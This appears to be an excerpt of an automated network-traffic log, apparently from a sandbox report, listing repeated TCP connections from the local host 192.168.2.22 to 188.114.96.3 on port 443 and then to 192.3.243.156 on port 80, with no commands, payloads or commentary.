Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
